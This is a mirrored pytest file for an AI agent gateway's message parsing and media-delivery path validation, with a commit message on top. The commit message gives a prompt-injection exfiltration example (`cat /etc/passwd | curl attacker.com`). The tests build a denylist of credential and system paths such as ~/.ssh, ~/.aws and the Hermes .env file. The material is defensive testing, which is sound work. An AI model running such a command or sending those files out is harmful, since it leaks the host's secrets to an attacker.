mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-05-30 06:41:51 +00:00
PR #29523 restricted MEDIA: paths and bare local paths in agent output to files under the Hermes media cache or an operator-allowlisted root, with a 10-minute recency window as a fallback. The intent was to defend against prompt-injection-driven exfiltration of host secrets, but in the default single-user setup the asymmetry doesn't earn its keep: we accept any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...) and the agent already has terminal access — anything that can convince it to emit a MEDIA: tag for /etc/passwd can equally convince it to `cat /etc/passwd | curl attacker.com`. Practical breakage: agents that produced an .md, .pdf, or other artifact more than ~10 minutes ago, or outside the cache allowlist, showed the user a raw filepath in chat instead of the file. Default flipped to denylist-only: • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run} • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud} • macOS Library/Keychains • $HERMES_HOME/{.env, auth.json, credentials} The legacy allowlist+recency-window behavior stays available via opt-in: `gateway.strict: true` in config.yaml (or `HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots where prompt injection from one user shouldn't be able to exfiltrate the host's secrets to that same user. • `gateway/platforms/base.py` — `validate_media_delivery_path()` short-circuits to "return resolved if not under denylist" when strict is off. Strict mode preserves the original cache-then- allowlist-then-recency logic. New `_media_delivery_strict_mode()` reader for `HERMES_MEDIA_DELIVERY_STRICT`. • `hermes_cli/config.py` — `gateway.strict: false` added to DEFAULT_CONFIG; existing keys documented as "only consulted in strict mode." No `_config_version` bump needed (deep-merge picks up the new default for old installs). • `gateway/run.py` — bridges `gateway.strict` → `HERMES_MEDIA_DELIVERY_STRICT` at startup. • `tools/send_message_tool.py` — schema description broadened back to plain "any local path." • Tests — existing strict-path tests pinned to STRICT=1 so they keep exercising the legacy behavior; new `TestMediaDeliveryDefaultMode` with 8 cases covering the public default (stale .md accepted, any extension delivers, credential paths still blocked, strict env-var aliases, filter E2E). Validation: - tests/gateway/test_platform_base.py: 119/119 pass - tests/gateway/test_tts_media_routing.py: 7/7 pass - tests/tools/test_send_message_tool.py: 121/121 pass - tests/hermes_cli/test_kanban_notify.py: 12/12 pass - tests/cron/test_scheduler.py: 120/120 pass - E2E via execute_code with real imports: • stale .md outside allowlist → accepted (default) • same path with STRICT=1 → rejected • $HOME/.ssh/id_rsa → rejected (default) • filter_local_delivery_paths([md, key]) → [md] only • gateway.strict in config.yaml → bridged to env (true=1, false=0)
1053 lines
43 KiB
Python
1053 lines
43 KiB
Python
"""Tests for gateway/platforms/base.py — MessageEvent, media extraction, message truncation."""
|
|
|
|
import os
|
|
import time
|
|
from unittest.mock import patch
|
|
|
|
import pytest
|
|
|
|
from gateway.platforms.base import (
|
|
BasePlatformAdapter,
|
|
GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE,
|
|
MessageEvent,
|
|
MessageType,
|
|
safe_url_for_log,
|
|
utf16_len,
|
|
_prefix_within_utf16_limit,
|
|
)
|
|
|
|
|
|
class TestSecretCaptureGuidance:
|
|
def test_gateway_secret_capture_message_points_to_local_setup(self):
|
|
message = GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE
|
|
assert "local cli" in message.lower()
|
|
assert "~/.hermes/.env" in message
|
|
|
|
|
|
class TestSafeUrlForLog:
|
|
def test_strips_query_fragment_and_userinfo(self):
|
|
url = (
|
|
"https://user:pass@example.com/private/path/image.png"
|
|
"?X-Amz-Signature=supersecret&token=abc#frag"
|
|
)
|
|
result = safe_url_for_log(url)
|
|
assert result == "https://example.com/.../image.png"
|
|
assert "supersecret" not in result
|
|
assert "token=abc" not in result
|
|
assert "user:pass@" not in result
|
|
|
|
def test_truncates_long_values(self):
|
|
long_url = "https://example.com/" + ("a" * 300)
|
|
result = safe_url_for_log(long_url, max_len=40)
|
|
assert len(result) == 40
|
|
assert result.endswith("...")
|
|
|
|
def test_handles_small_and_non_positive_max_len(self):
|
|
url = "https://example.com/very/long/path/file.png?token=secret"
|
|
assert safe_url_for_log(url, max_len=3) == "..."
|
|
assert safe_url_for_log(url, max_len=2) == ".."
|
|
assert safe_url_for_log(url, max_len=0) == ""
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# MessageEvent — command parsing
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestMessageEventIsCommand:
|
|
def test_slash_command(self):
|
|
event = MessageEvent(text="/new")
|
|
assert event.is_command() is True
|
|
|
|
def test_regular_text(self):
|
|
event = MessageEvent(text="hello world")
|
|
assert event.is_command() is False
|
|
|
|
def test_empty_text(self):
|
|
event = MessageEvent(text="")
|
|
assert event.is_command() is False
|
|
|
|
def test_slash_only(self):
|
|
event = MessageEvent(text="/")
|
|
assert event.is_command() is True
|
|
|
|
|
|
class TestMessageEventGetCommand:
|
|
def test_simple_command(self):
|
|
event = MessageEvent(text="/new")
|
|
assert event.get_command() == "new"
|
|
|
|
def test_command_with_args(self):
|
|
event = MessageEvent(text="/reset session")
|
|
assert event.get_command() == "reset"
|
|
|
|
def test_not_a_command(self):
|
|
event = MessageEvent(text="hello")
|
|
assert event.get_command() is None
|
|
|
|
def test_command_is_lowercased(self):
|
|
event = MessageEvent(text="/HELP")
|
|
assert event.get_command() == "help"
|
|
|
|
def test_slash_only_returns_empty(self):
|
|
event = MessageEvent(text="/")
|
|
assert event.get_command() == ""
|
|
|
|
def test_command_with_at_botname(self):
|
|
event = MessageEvent(text="/new@TigerNanoBot")
|
|
assert event.get_command() == "new"
|
|
|
|
def test_command_with_at_botname_and_args(self):
|
|
event = MessageEvent(text="/compress@TigerNanoBot")
|
|
assert event.get_command() == "compress"
|
|
|
|
def test_command_mixed_case_with_at_botname(self):
|
|
event = MessageEvent(text="/RESET@TigerNanoBot")
|
|
assert event.get_command() == "reset"
|
|
|
|
|
|
class TestMessageEventGetCommandArgs:
|
|
def test_command_with_args(self):
|
|
event = MessageEvent(text="/new session id 123")
|
|
assert event.get_command_args() == "session id 123"
|
|
|
|
def test_command_without_args(self):
|
|
event = MessageEvent(text="/new")
|
|
assert event.get_command_args() == ""
|
|
|
|
def test_not_a_command_returns_full_text(self):
|
|
event = MessageEvent(text="hello world")
|
|
assert event.get_command_args() == "hello world"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# extract_images
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestExtractImages:
|
|
def test_no_images(self):
|
|
images, cleaned = BasePlatformAdapter.extract_images("Just regular text.")
|
|
assert images == []
|
|
assert cleaned == "Just regular text."
|
|
|
|
def test_markdown_image_with_image_ext(self):
|
|
content = "Here is a photo: "
|
|
images, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/cat.png"
|
|
assert images[0][1] == "cat"
|
|
assert "![cat]" not in cleaned
|
|
|
|
def test_markdown_image_jpg(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/photo.jpg"
|
|
assert images[0][1] == "photo"
|
|
|
|
def test_markdown_image_jpeg(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/photo.jpeg"
|
|
assert images[0][1] == ""
|
|
|
|
def test_markdown_image_gif(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/anim.gif"
|
|
assert images[0][1] == "anim"
|
|
|
|
def test_markdown_image_webp(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/img.webp"
|
|
assert images[0][1] == ""
|
|
|
|
def test_fal_media_cdn(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://fal.media/files/abc123/output.png"
|
|
assert images[0][1] == "gen"
|
|
|
|
def test_fal_cdn_url(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://fal-cdn.example.com/result"
|
|
assert images[0][1] == ""
|
|
|
|
def test_replicate_delivery(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://replicate.delivery/pbxt/abc/output"
|
|
assert images[0][1] == ""
|
|
|
|
def test_non_image_ext_not_extracted(self):
|
|
"""Markdown image with non-image extension should not be extracted."""
|
|
content = ""
|
|
images, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert images == []
|
|
assert "![doc]" in cleaned # Should be preserved
|
|
|
|
def test_html_img_tag(self):
|
|
content = 'Check this: <img src="https://example.com/photo.png">'
|
|
images, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/photo.png"
|
|
assert images[0][1] == "" # HTML images have no alt text
|
|
assert "<img" not in cleaned
|
|
|
|
def test_html_img_self_closing(self):
|
|
content = '<img src="https://example.com/photo.png"/>'
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/photo.png"
|
|
assert images[0][1] == ""
|
|
|
|
def test_html_img_with_closing_tag(self):
|
|
content = '<img src="https://example.com/photo.png"></img>'
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://example.com/photo.png"
|
|
assert images[0][1] == ""
|
|
|
|
def test_multiple_images(self):
|
|
content = "\n"
|
|
images, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 2
|
|
assert "![a]" not in cleaned
|
|
assert "![b]" not in cleaned
|
|
|
|
def test_mixed_markdown_and_html(self):
|
|
content = '\n<img src="https://example.com/dog.jpg">'
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 2
|
|
|
|
def test_cleaned_content_trims_excess_newlines(self):
|
|
content = "Before\n\n\n\n\n\nAfter"
|
|
_, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert "\n\n\n" not in cleaned
|
|
|
|
def test_non_http_url_not_matched(self):
|
|
content = ""
|
|
images, _ = BasePlatformAdapter.extract_images(content)
|
|
assert images == []
|
|
|
|
def test_non_image_link_preserved_when_mixed_with_images(self):
|
|
"""Regression: non-image markdown links must not be silently removed
|
|
when the response also contains real images."""
|
|
content = (
|
|
"Here is the image: \n"
|
|
"And a doc: "
|
|
)
|
|
images, cleaned = BasePlatformAdapter.extract_images(content)
|
|
assert len(images) == 1
|
|
assert images[0][0] == "https://fal.media/cat.png"
|
|
# The PDF link must survive in cleaned content
|
|
assert "" in cleaned
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# extract_media
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestExtractMedia:
|
|
def test_no_media(self):
|
|
media, cleaned = BasePlatformAdapter.extract_media("Just text.")
|
|
assert media == []
|
|
assert cleaned == "Just text."
|
|
|
|
def test_single_media_tag(self):
|
|
content = "MEDIA:/path/to/audio.ogg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert len(media) == 1
|
|
assert media[0][0] == "/path/to/audio.ogg"
|
|
assert media[0][1] is False # no voice tag
|
|
|
|
def test_media_with_voice_directive(self):
|
|
content = "[[audio_as_voice]]\nMEDIA:/path/to/voice.ogg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert len(media) == 1
|
|
assert media[0][0] == "/path/to/voice.ogg"
|
|
assert media[0][1] is True # voice tag present
|
|
|
|
def test_multiple_media_tags(self):
|
|
content = "MEDIA:/a.ogg\nMEDIA:/b.ogg"
|
|
media, _ = BasePlatformAdapter.extract_media(content)
|
|
assert len(media) == 2
|
|
|
|
def test_voice_directive_removed_from_content(self):
|
|
content = "[[audio_as_voice]]\nSome text\nMEDIA:/voice.ogg"
|
|
_, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert "[[audio_as_voice]]" not in cleaned
|
|
assert "MEDIA:" not in cleaned
|
|
assert "Some text" in cleaned
|
|
|
|
def test_media_with_text_before(self):
|
|
content = "Here is your audio:\nMEDIA:/output.ogg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert len(media) == 1
|
|
assert "Here is your audio" in cleaned
|
|
|
|
def test_cleaned_content_trims_excess_newlines(self):
|
|
content = "Before\n\nMEDIA:/audio.ogg\n\n\n\nAfter"
|
|
_, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert "\n\n\n" not in cleaned
|
|
|
|
def test_media_tag_allows_optional_whitespace_after_colon(self):
|
|
content = "MEDIA: /path/to/audio.ogg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [("/path/to/audio.ogg", False)]
|
|
assert cleaned == ""
|
|
|
|
def test_media_tag_strips_wrapping_quotes_and_backticks(self):
|
|
content = "MEDIA: `/path/to/file.png`\nMEDIA:\"/path/to/file2.png\"\nMEDIA:'/path/to/file3.png'"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [
|
|
("/path/to/file.png", False),
|
|
("/path/to/file2.png", False),
|
|
("/path/to/file3.png", False),
|
|
]
|
|
assert cleaned == ""
|
|
|
|
def test_media_tag_supports_quoted_paths_with_spaces(self):
|
|
content = "Here\nMEDIA: '/tmp/my image.png'\nAfter"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [("/tmp/my image.png", False)]
|
|
assert "Here" in cleaned
|
|
assert "After" in cleaned
|
|
|
|
def test_media_tag_supports_unquoted_flac_paths_with_spaces(self):
|
|
content = "MEDIA:/tmp/Jane Doe/speech.flac"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [("/tmp/Jane Doe/speech.flac", False)]
|
|
assert cleaned == ""
|
|
|
|
def test_as_document_directive_stripped_from_cleaned_text(self):
|
|
"""[[as_document]] is a routing directive — strip it from
|
|
user-visible text just like [[audio_as_voice]]. Callers detect the
|
|
directive on the original content (before extract_media)."""
|
|
content = "Here is your infographic:\n[[as_document]]\nMEDIA:/tmp/x.jpg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [("/tmp/x.jpg", False)]
|
|
assert "[[as_document]]" not in cleaned
|
|
assert "Here is your infographic" in cleaned
|
|
|
|
def test_as_document_directive_alone_does_not_attach_voice_flag(self):
|
|
"""[[as_document]] is independent of [[audio_as_voice]] — combining
|
|
them in the same response should not entangle the flags."""
|
|
content = "[[as_document]]\nMEDIA:/tmp/x.jpg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
assert media == [("/tmp/x.jpg", False)] # voice flag stays False
|
|
assert "[[as_document]]" not in cleaned
|
|
|
|
def test_both_directives_can_coexist(self):
|
|
"""A response could (rarely) contain both [[audio_as_voice]] for an
|
|
ogg file AND [[as_document]] for an attached image. The voice flag
|
|
propagates per-tuple; [[as_document]] is detected at dispatch."""
|
|
content = "[[audio_as_voice]]\n[[as_document]]\nMEDIA:/tmp/x.ogg"
|
|
media, cleaned = BasePlatformAdapter.extract_media(content)
|
|
# Voice flag is propagated to every media tuple (this matches the
|
|
# existing extract_media contract)
|
|
assert media == [("/tmp/x.ogg", True)]
|
|
# Both directives stripped from cleaned text
|
|
assert "[[audio_as_voice]]" not in cleaned
|
|
assert "[[as_document]]" not in cleaned
|
|
|
|
|
|
class TestMediaDeliveryPathValidation:
|
|
def _patch_roots(self, monkeypatch, *roots):
|
|
monkeypatch.setattr(
|
|
"gateway.platforms.base.MEDIA_DELIVERY_SAFE_ROOTS",
|
|
tuple(roots),
|
|
)
|
|
# All tests in this class cover strict-mode behavior (allowlist +
|
|
# recency window + denylist). Force strict on so they keep
|
|
# exercising the legacy path even though the public default
|
|
# flipped to off in 2026-05.
|
|
monkeypatch.setenv("HERMES_MEDIA_DELIVERY_STRICT", "1")
|
|
# Disable recency-based trust by default so the original allowlist
|
|
# tests continue to exercise the strict-allowlist path. Tests that
|
|
# specifically cover recency trust re-enable it themselves.
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "0")
|
|
|
|
def test_allows_existing_file_inside_safe_root(self, tmp_path, monkeypatch):
|
|
root = tmp_path / "media-cache"
|
|
media_file = root / "voice.ogg"
|
|
media_file.parent.mkdir(parents=True)
|
|
media_file.write_bytes(b"OggS")
|
|
self._patch_roots(monkeypatch, root)
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(media_file)) == str(media_file.resolve())
|
|
|
|
def test_rejects_existing_file_outside_safe_root(self, tmp_path, monkeypatch):
|
|
root = tmp_path / "media-cache"
|
|
root.mkdir()
|
|
secret = tmp_path / "secrets.txt"
|
|
secret.write_text("not for upload")
|
|
self._patch_roots(monkeypatch, root)
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(secret)) is None
|
|
|
|
def test_rejects_symlink_escape_from_safe_root(self, tmp_path, monkeypatch):
|
|
root = tmp_path / "media-cache"
|
|
root.mkdir()
|
|
secret = tmp_path / "outside.png"
|
|
secret.write_bytes(b"secret")
|
|
link = root / "safe-looking.png"
|
|
try:
|
|
link.symlink_to(secret)
|
|
except OSError:
|
|
pytest.skip("symlink creation is unavailable")
|
|
self._patch_roots(monkeypatch, root)
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(link)) is None
|
|
|
|
def test_filter_keeps_safe_media_and_drops_unsafe(self, tmp_path, monkeypatch):
|
|
root = tmp_path / "media-cache"
|
|
safe = root / "speech.ogg"
|
|
unsafe = tmp_path / "outside.ogg"
|
|
safe.parent.mkdir(parents=True)
|
|
safe.write_bytes(b"OggS")
|
|
unsafe.write_bytes(b"OggS")
|
|
self._patch_roots(monkeypatch, root)
|
|
|
|
filtered = BasePlatformAdapter.filter_media_delivery_paths([
|
|
(str(unsafe), False),
|
|
(str(safe), True),
|
|
])
|
|
|
|
assert filtered == [(str(safe.resolve()), True)]
|
|
|
|
def test_allows_operator_configured_extra_root(self, tmp_path, monkeypatch):
|
|
extra_root = tmp_path / "operator-media"
|
|
media_file = extra_root / "report.pdf"
|
|
media_file.parent.mkdir(parents=True)
|
|
media_file.write_bytes(b"%PDF-1.4")
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.setenv("HERMES_MEDIA_ALLOW_DIRS", str(extra_root))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(media_file)) == str(media_file.resolve())
|
|
|
|
def test_recency_trust_allows_freshly_produced_file(self, tmp_path, monkeypatch):
|
|
"""A PDF the agent just wrote to /tmp should be deliverable.
|
|
|
|
Covers the natural case: agent runs ``pandoc -o /tmp/report.pdf`` or
|
|
``write_file('/home/user/report.pdf', ...)`` and asks the gateway to
|
|
send the result. With recency trust on, fresh files outside the cache
|
|
allowlist are accepted because the file's mtime is within the window.
|
|
"""
|
|
self._patch_roots(monkeypatch) # zero cache allowlist
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_SECONDS", "600")
|
|
|
|
fresh = tmp_path / "scratch" / "report.pdf"
|
|
fresh.parent.mkdir(parents=True)
|
|
fresh.write_bytes(b"%PDF-1.4")
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(fresh)) == str(fresh.resolve())
|
|
|
|
def test_recency_trust_rejects_old_file(self, tmp_path, monkeypatch):
|
|
"""A pre-existing host file (~/.bashrc, /etc/passwd shape) is rejected.
|
|
|
|
Recency trust is the load-bearing anti-injection signal: prompt-injected
|
|
paths point at files that have existed for days or months, well outside
|
|
the trust window.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_SECONDS", "60")
|
|
|
|
stale = tmp_path / "stale.pdf"
|
|
stale.write_bytes(b"%PDF-1.4")
|
|
old_mtime = time.time() - 7200 # 2 hours ago
|
|
os.utime(stale, (old_mtime, old_mtime))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(stale)) is None
|
|
|
|
def test_recency_trust_disabled_falls_back_to_pure_allowlist(self, tmp_path, monkeypatch):
|
|
"""Setting trust_recent_files=false reverts to pre-existing strict behavior."""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "0")
|
|
|
|
fresh = tmp_path / "report.pdf"
|
|
fresh.write_bytes(b"%PDF-1.4") # mtime = now
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(fresh)) is None
|
|
|
|
def test_recency_trust_denies_system_paths_even_when_fresh(self, tmp_path, monkeypatch):
|
|
"""A freshly-touched file under /etc must NOT be uploaded.
|
|
|
|
Belt-and-braces: even if an attacker rewrites the file's mtime
|
|
(e.g. via a separately compromised tool result that touches a system
|
|
file), the denylist refuses to deliver paths under /etc, /proc, /sys,
|
|
~/.ssh, ~/.aws, etc.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_SECONDS", "600")
|
|
|
|
# Simulate $HOME so ~/.ssh resolves into our tmp dir.
|
|
fake_home = tmp_path / "home"
|
|
ssh_dir = fake_home / ".ssh"
|
|
ssh_dir.mkdir(parents=True)
|
|
secret = ssh_dir / "id_rsa.txt"
|
|
secret.write_bytes(b"-----BEGIN ...") # mtime = now
|
|
monkeypatch.setenv("HOME", str(fake_home))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(secret)) is None
|
|
|
|
def test_recency_trust_allows_pdf_in_project_dir(self, tmp_path, monkeypatch):
|
|
"""The motivating case: agent produces a PDF in a project directory.
|
|
|
|
Reproduces the Discord-PDF-not-delivered bug. Before recency trust,
|
|
files outside ~/.hermes/cache/* were silently dropped, leaving the
|
|
user with a raw filepath in chat instead of an attachment.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_SECONDS", "600")
|
|
|
|
project = tmp_path / "my-project"
|
|
report = project / "build" / "weekly-report.pdf"
|
|
report.parent.mkdir(parents=True)
|
|
report.write_bytes(b"%PDF-1.4")
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(report)) == str(report.resolve())
|
|
|
|
def test_filter_keeps_recently_produced_files(self, tmp_path, monkeypatch):
|
|
"""End-to-end: filter_local_delivery_paths routes a fresh PDF through."""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_SECONDS", "600")
|
|
|
|
fresh = tmp_path / "report.pdf"
|
|
fresh.write_bytes(b"%PDF-1.4")
|
|
|
|
out = BasePlatformAdapter.filter_local_delivery_paths([str(fresh)])
|
|
assert out == [str(fresh.resolve())]
|
|
|
|
|
|
class TestMediaDeliveryDefaultMode:
|
|
"""Default (non-strict) mode — denylist gates delivery, nothing else.
|
|
|
|
Symmetric with inbound delivery: Telegram/Discord/Slack accept any
|
|
document type the user uploads, and the agent can hand back any file
|
|
that isn't a credential. Strict mode is opt-in for operators running
|
|
public-facing gateways.
|
|
"""
|
|
|
|
def _patch_roots(self, monkeypatch, *roots):
|
|
# Empty cache allowlist so the only positive path through
|
|
# validate_media_delivery_path in these tests is the
|
|
# default-mode "anything not denied" branch.
|
|
monkeypatch.setattr(
|
|
"gateway.platforms.base.MEDIA_DELIVERY_SAFE_ROOTS",
|
|
tuple(roots),
|
|
)
|
|
# Pin strict OFF — the public default. Tests that exercise the
|
|
# strict path live in TestMediaDeliveryPathValidation.
|
|
monkeypatch.delenv("HERMES_MEDIA_DELIVERY_STRICT", raising=False)
|
|
monkeypatch.delenv("HERMES_MEDIA_ALLOW_DIRS", raising=False)
|
|
|
|
def test_accepts_stale_file_outside_allowlist(self, tmp_path, monkeypatch):
|
|
"""The motivating case — agent says ``MEDIA:/home/user/notes.md``
|
|
for an .md it has been working with for hours. Strict mode would
|
|
reject this (outside allowlist, outside recency window). Default
|
|
mode delivers it.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
notes = tmp_path / "notes.md"
|
|
notes.write_text("# Old notes\n")
|
|
old_mtime = time.time() - 7200 # 2 hours ago — far outside any window
|
|
os.utime(notes, (old_mtime, old_mtime))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(notes)) == str(notes.resolve())
|
|
|
|
def test_accepts_any_extension_not_on_denylist(self, tmp_path, monkeypatch):
|
|
"""No extension allowlist — .md, .txt, .json, .py all deliver."""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
for name in ("report.md", "log.txt", "data.json", "script.py", "blob.bin"):
|
|
f = tmp_path / name
|
|
f.write_bytes(b"x")
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(f)) == str(f.resolve())
|
|
|
|
def test_denylist_still_blocks_credentials(self, tmp_path, monkeypatch):
|
|
"""Default mode is permissive but not naive — credential paths
|
|
remain blocked. Simulate $HOME so ~/.ssh resolves into tmp_path.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
fake_home = tmp_path / "home"
|
|
ssh_dir = fake_home / ".ssh"
|
|
ssh_dir.mkdir(parents=True)
|
|
secret = ssh_dir / "id_rsa"
|
|
secret.write_bytes(b"-----BEGIN ...")
|
|
monkeypatch.setenv("HOME", str(fake_home))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(secret)) is None
|
|
|
|
def test_denylist_blocks_system_prefixes(self, tmp_path, monkeypatch):
|
|
"""Files under /etc, /proc, /sys, /root, /boot, /var/{log,lib,run}
|
|
are denied. We construct the test by patching the denylist root
|
|
to a tmp dir so we don't need to read /etc.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
fake_etc = tmp_path / "fake-etc"
|
|
fake_etc.mkdir()
|
|
secret = fake_etc / "shadow"
|
|
secret.write_bytes(b"root:!:0:0::/root:/bin/sh")
|
|
|
|
monkeypatch.setattr(
|
|
"gateway.platforms.base._MEDIA_DELIVERY_DENIED_PREFIXES",
|
|
(str(fake_etc),),
|
|
)
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(secret)) is None
|
|
|
|
def test_denylist_blocks_hermes_credentials(self, tmp_path, monkeypatch):
|
|
"""~/.hermes/.env and ~/.hermes/auth.json stay blocked even in
|
|
default mode. They live under $HOME (not the system prefix list)
|
|
so this exercises the home-relative denied paths.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
fake_home = tmp_path / "home"
|
|
hermes_dir = fake_home / ".hermes"
|
|
hermes_dir.mkdir(parents=True)
|
|
env_file = hermes_dir / ".env"
|
|
env_file.write_text("OPENAI_API_KEY=sk-...")
|
|
monkeypatch.setenv("HOME", str(fake_home))
|
|
monkeypatch.setattr(
|
|
"gateway.platforms.base._HERMES_HOME",
|
|
hermes_dir,
|
|
)
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(env_file)) is None
|
|
|
|
def test_strict_mode_envvar_restores_legacy_behavior(self, tmp_path, monkeypatch):
|
|
"""Setting HERMES_MEDIA_DELIVERY_STRICT=1 reactivates the older
|
|
allowlist+recency logic. A stale file outside the allowlist is
|
|
rejected.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
monkeypatch.setenv("HERMES_MEDIA_DELIVERY_STRICT", "1")
|
|
monkeypatch.setenv("HERMES_MEDIA_TRUST_RECENT_FILES", "0")
|
|
|
|
stale = tmp_path / "old.pdf"
|
|
stale.write_bytes(b"%PDF-1.4")
|
|
old_mtime = time.time() - 7200
|
|
os.utime(stale, (old_mtime, old_mtime))
|
|
|
|
assert BasePlatformAdapter.validate_media_delivery_path(str(stale)) is None
|
|
|
|
def test_strict_mode_truthy_aliases(self, monkeypatch, tmp_path):
|
|
"""``HERMES_MEDIA_DELIVERY_STRICT=true|yes|on|1`` all enable strict mode."""
|
|
self._patch_roots(monkeypatch)
|
|
from gateway.platforms.base import _media_delivery_strict_mode
|
|
|
|
for raw in ("1", "true", "TRUE", "yes", "on"):
|
|
monkeypatch.setenv("HERMES_MEDIA_DELIVERY_STRICT", raw)
|
|
assert _media_delivery_strict_mode() is True
|
|
|
|
for raw in ("0", "false", "no", "off", ""):
|
|
monkeypatch.setenv("HERMES_MEDIA_DELIVERY_STRICT", raw)
|
|
assert _media_delivery_strict_mode() is False
|
|
|
|
def test_filter_passes_default_files_through(self, tmp_path, monkeypatch):
|
|
"""End-to-end: filter_local_delivery_paths accepts a stale .md in
|
|
default mode where strict mode would drop it.
|
|
"""
|
|
self._patch_roots(monkeypatch)
|
|
|
|
notes = tmp_path / "notes.md"
|
|
notes.write_text("# old\n")
|
|
os.utime(notes, (time.time() - 86400, time.time() - 86400))
|
